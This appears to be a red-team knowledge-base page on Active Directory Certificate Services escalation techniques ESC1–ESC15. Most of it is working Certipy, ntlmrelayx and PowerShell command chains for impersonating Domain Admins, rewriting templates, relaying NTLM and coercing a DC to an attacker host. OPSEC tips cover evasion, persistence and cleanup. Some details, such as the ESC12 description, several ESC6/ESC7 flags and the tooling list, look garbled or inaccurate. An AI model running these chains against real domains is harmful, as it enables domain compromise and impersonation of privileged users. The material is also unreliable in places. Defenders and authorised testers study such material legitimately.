Nullpath

AD CS ESC Attacks (ESC1-15)

concept active-directoryad-cspkiprivilege-escalation updated 07 Sept 2026 · 8 min

AD CS ESC Attacks (ESC1-15)

Active Directory Certificate Services (AD CS) misconfigurations let attackers obtain certificates that authenticate as arbitrary (often privileged) principals, or compromise the CA itself. “ESC” numbering is the SpecterOps/Certipy convention. Primary tool: Certipy (certipy find -vulnerable enumerates most of these against a target CA).

Template misconfigurations

ESC1 — Enrollee Supplies Subject

Template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (allows attacker-supplied SAN), an EKU usable for client auth (Client Authentication / Smart Card Logon), and the attacker has enrollment rights. Request a cert with SAN = a Domain Admin’s UPN.

certipy req -u user@domain.com -p password -ca CA-NAME -template TemplateName -upn administrator@domain.com

ESC2 — Any Purpose / No EKU

Template’s pKIExtendedKeyUsage is Any Purpose or empty → usable for client auth regardless of intended purpose.

certipy req -u user@domain.com -p password -ca CA-NAME -template TemplateName

ESC3 — Certificate Request Agent

Template grants the Certificate Request Agent (Enrollment Agent) EKU (1.3.6.1.4.1.311.20.2.1). Request an Enrollment Agent cert, then use it to request a cert on behalf of another (privileged) user via an “on-behalf-of” template.

# 1. Enroll for the Enrollment Agent certificate
certipy req -u user@domain.com -p password -ca CA-NAME -template EnrollmentAgentTemplate

# 2. Use the agent cert to request a cert on behalf of a Domain Admin
certipy req -u user@domain.com -p password -ca CA-NAME -template User \
  -on-behalf-of 'CORP\administrator' -pfx agent.pfx

# 3. Authenticate as the Domain Admin with the resulting cert
certipy auth -pfx administrator.pfx -domain domain.com

ESC4 — Template Access Control

Attacker has WriteOwner/WriteDacl/WriteProperty on the template object itself — the acl-abuse primitive applied to a cert template. Rewrite the template to be ESC1/2/3-vulnerable, then exploit it.

# 1. Back up current config and overwrite with an ESC1-vulnerable config
#    (enrollee-supplies-subject, client auth EKU, no manager approval)
certipy template -u user@domain.com -p password -template TemplateName -save-old

# 2. Exploit it as ESC1
certipy req -u user@domain.com -p password -ca CA-NAME -template TemplateName -upn administrator@domain.com

# 3. Restore the original (less noisy / cleanup)
certipy template -u user@domain.com -p password -template TemplateName -configuration TemplateName.json

CA-level misconfigurations

ESC5 — CA Object/Server Access Control

Attacker controls the CA server object, the CA’s underlying computer object, or the CN=Public Key Services container — full PKI control, another acl-abuse application. Use the acl-abuse WriteDacl/WriteOwner primitives to grant yourself ManageCA/ManageCertificates on the CA object, then proceed as ESC7.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

CA-wide flag that lets any request specify a SAN, even on templates that don’t normally allow it — effectively ESC1 against every template.

# Check the flag
certipy ca -u user@domain.com -p password -ca CA-NAME -enable-template '' 2>/dev/null; \
certipy find -u user@domain.com -p password -dc-ip <DC_IP> -vulnerable -stdout

certipy req -u user@domain.com -p password -ca CA-NAME -template User -upn administrator@domain.com

ESC7 — ManageCA / ManageCertificates

Attacker has ManageCA or ManageCertificates rights on the CA: grant self further rights, enable EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6), then exploit it.

# 1. Grant yourself Officer rights (ManageCertificates) if you only have ManageCA
certipy ca -u user@domain.com -p password -ca CA-NAME -add-officer user

# 2. Enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (requires ManageCA)
certipy ca -u user@domain.com -p password -ca CA-NAME -enable-template 'SubCA'
certipy ca -u user@domain.com -p password -ca CA-NAME -edit-config-security EDITF_ATTRIBUTESUBJECTALTNAME2
# (restart CertSvc on the CA is required for this to take effect — or wait)

# 3. Exploit as ESC6, or: issue a previously-denied/pending request as Officer
certipy req -u user@domain.com -p password -ca CA-NAME -template User -upn administrator@domain.com
certipy ca -u user@domain.com -p password -ca CA-NAME -issue-request <REQUEST_ID>
certipy req -u user@domain.com -p password -ca CA-NAME -retrieve <REQUEST_ID>

ESC9 — No Security Extension

CT_FLAG_NO_SECURITY_EXTENSION omits szOID_NTDS_CA_SECURITY_EXT from the issued cert, removing the strong object binding — combine with weak certificate-mapping (ESC10) to spoof identity. Requires GenericWrite over the victim account to stage the userPrincipalName swap.

# 1. Need GenericWrite on victim account (e.g. via [[acl-abuse]]). Set victim's UPN to target's name
certipy account update -u user@domain.com -p password -user victimuser -upn administrator@domain.com

# 2. Enroll as victim using the ESC9 template (no security extension -> no SID embedded)
certipy req -u victimuser@domain.com -p victimpass -ca CA-NAME -template ESC9Template

# 3. Restore victim's original UPN (cleanup / avoid breaking their logon)
certipy account update -u user@domain.com -p password -user victimuser -upn victimuser@domain.com

# 4. Authenticate as "administrator" using the cert — weak mapping (ESC10) resolves
#    by UPN rather than the (missing) SID extension
certipy auth -pfx victimuser.pfx -domain domain.com

ESC10 — Weak Certificate Binding

CA’s CertificateMappingMethods registry value (on the DCs, not the CA) allows weak mapping (e.g. 0x1 UPN mapping / 0x4 weak explicit mapping), permitting identity spoofing via certs that don’t strongly bind to an AD object. Exploited the same way as ESC9 — the UPN-swap dance above — but the weakness lives in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods on the DC rather than the template’s security-extension flag.

# Check the registry value (needs local access to a DC, or via remote registry)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods

Same certipy account update UPN-swap + certipy req + certipy auth chain as ESC9 above applies.

ESC11 — NTLM Relay to RPC Enrollment

Same idea as ESC8, but IF_ENFORCEENCRYPTICERTREQUEST is disabled on the CA so the RPC (ICPR) enrollment interface accepts relayed NTLM without encryption.

# Check whether RPC enrollment is relay-able
certipy find -u user@domain.com -p password -dc-ip <DC_IP> -vulnerable -stdout   # flags ESC11 if IF_ENFORCEENCRYPTICERTREQUEST is unset

# Relay via RPC instead of HTTP
ntlmrelayx.py -t rpc://<CA_IP> -rpc-mode ICPR -icpr-ca-name 'CA-NAME' --template DomainController
# coerce as in ESC8, e.g. PetitPotam.py <Attacker_IP> <DC_IP>

ESC12 — ADCS CA Admin Key in Registry (Shell Access / “CA Owner”)

Originally framed around CVE-2022-26923 (dNSHostName swap to a DC’s name + ESC1-style request) — most environments now patch that path. The other ESC12 case: the CA’s private key is stored on a YubiHSM/HSM-backed CA and the CAImportCertificate/registry-based key material is exposed, letting an attacker with CA server access export the CA cert/key directly (ForgeCert-equivalent control over the root).

# CVE-2022-26923 variant: rename a controlled computer object to look like a DC,
# then request a cert as that "DC" — see [[acl-abuse]] for the GenericWrite-on-computer prereq
Set-DomainObject -Identity attacker-controlled-computer -Set @{'dNSHostName'='dc01.domain.com'}
certipy req -u 'attacker-controlled-computer$' -hashes <nthash> -ca CA-NAME -template Machine -dc-ip <DC_IP>

ESC13 — Issuance Policy Linked to Privileged Group

A certificate template’s issuance policy OID has an msDS-OIDToGroupLink pointing at a privileged group (e.g. via Authentication Mechanism Assurance). Enrolling in that template gets you a cert that AD treats as if you were a member of that group during Kerberos PKINIT auth.

# certipy find flags templates with a linked issuance policy + the linked group
certipy find -u user@domain.com -p password -dc-ip <DC_IP> -vulnerable -stdout

# Enroll, then authenticate -> PAC includes the linked group's membership
certipy req -u user@domain.com -p password -ca CA-NAME -template VulnerableTemplate
certipy auth -pfx user.pfx -domain domain.com

ESC14 — Weak Explicit Certificate Mapping (altSecurityIdentities)

Attacker has GenericWrite over a victim account’s altSecurityIdentities attribute (weak/explicit mapping). Write a mapping pointing at a cert the attacker already controls (even one for an unrelated low-priv account), then authenticate as the victim with that cert.

# Map victim's account to a cert you already hold (e.g. your own enrolled cert's subject/issuer)
certipy account update -u user@domain.com -p password -user victimuser -upn '' \
  -altsecid 'X509:<I>DC=local,DC=corp,CN=CA-NAME<S>CN=attacker'

certipy auth -pfx attacker.pfx -domain domain.com -username victimuser

ESC15 — “EKUwu”: Arbitrary Application Policy on V1 Templates (CVE-2024-49019)

Default V1 templates (e.g. WebServer, User) allow the requester to specify arbitrary Application Policies (a v1-template-specific OID set that wasn’t locked down like pKIExtendedKeyUsage on v2+). Specify Client Authentication / Certificate Request Agent application policy on a V1 template you have enrollment rights for.

# Request a cert from a default V1 template with a forged application policy
certipy req -u user@domain.com -p password -ca CA-NAME -template WebServer \
  -application-policies 'Client Authentication' -upn administrator@domain.com

# Or forge the Certificate Request Agent policy -> chains into ESC3
certipy req -u user@domain.com -p password -ca CA-NAME -template WebServer \
  -application-policies 'Certificate Request Agent'

ESC8 — NTLM Relay to AD CS HTTP Endpoints

AD CS Web Enrollment (/certsrv/) often accepts NTLM without EPA. Relay a captured machine/user authentication (e.g. via ntlm-relay-coercion) to this endpoint to obtain a certificate as that account.

ntlmrelayx.py -t http://ca-server/certsrv/certfnsh.asp -smb2support --adcs --template Machine

Full chain (PetitPotam coercion → relay → cert → DCSync) is detailed in esc8-ntlm-relay-adcs.

Red-team notes (OPSEC)

  • Triage before you enrol. certipy find -vulnerable (or -stdout) maps the CA, templates and which ESC applies offline from LDAP — decide the single ESC to use before requesting a single certificate.
  • The whole chain runs from Linux over the tunnel: certipy req to get the cert, then certipy auth (PKINIT) for a TGT or to UnPAC the NT hash (pkinit-unpac-the-hash) — nothing touches the endpoint.
  • ESC8/ESC11 pair with coercion (ntlm-relay-coercion); EPA + HTTPS on /certsrv/ kills them, so confirm the endpoint accepts NTLM before coercing into it.
  • Certificates are durable but logged. A minted cert stays valid to its expiry even after the victim’s password is reset (a persistence win), but issuance is recorded on the CA — events 4886/4887 (request/issue) and template-object writes (5136) for ESC4. Expect the CA logs, not the DC, to be the tell.
  • Match PKINIT enctype/hostname to the domain when authing over the tunnel (Kerberos binds to SPNs, watch clock skew) — see kerberos-encryption-types.

Tooling

  • Certipy — enumeration + exploitation (Python, most-used)
  • Certify — Go enumeration + exploitation of vulnerable templates (certify, the Go twin of certipy)
  • ForgeCert — forges certs given a compromised CA private key
  • AdcsHunter — PowerShell AD CS discovery

References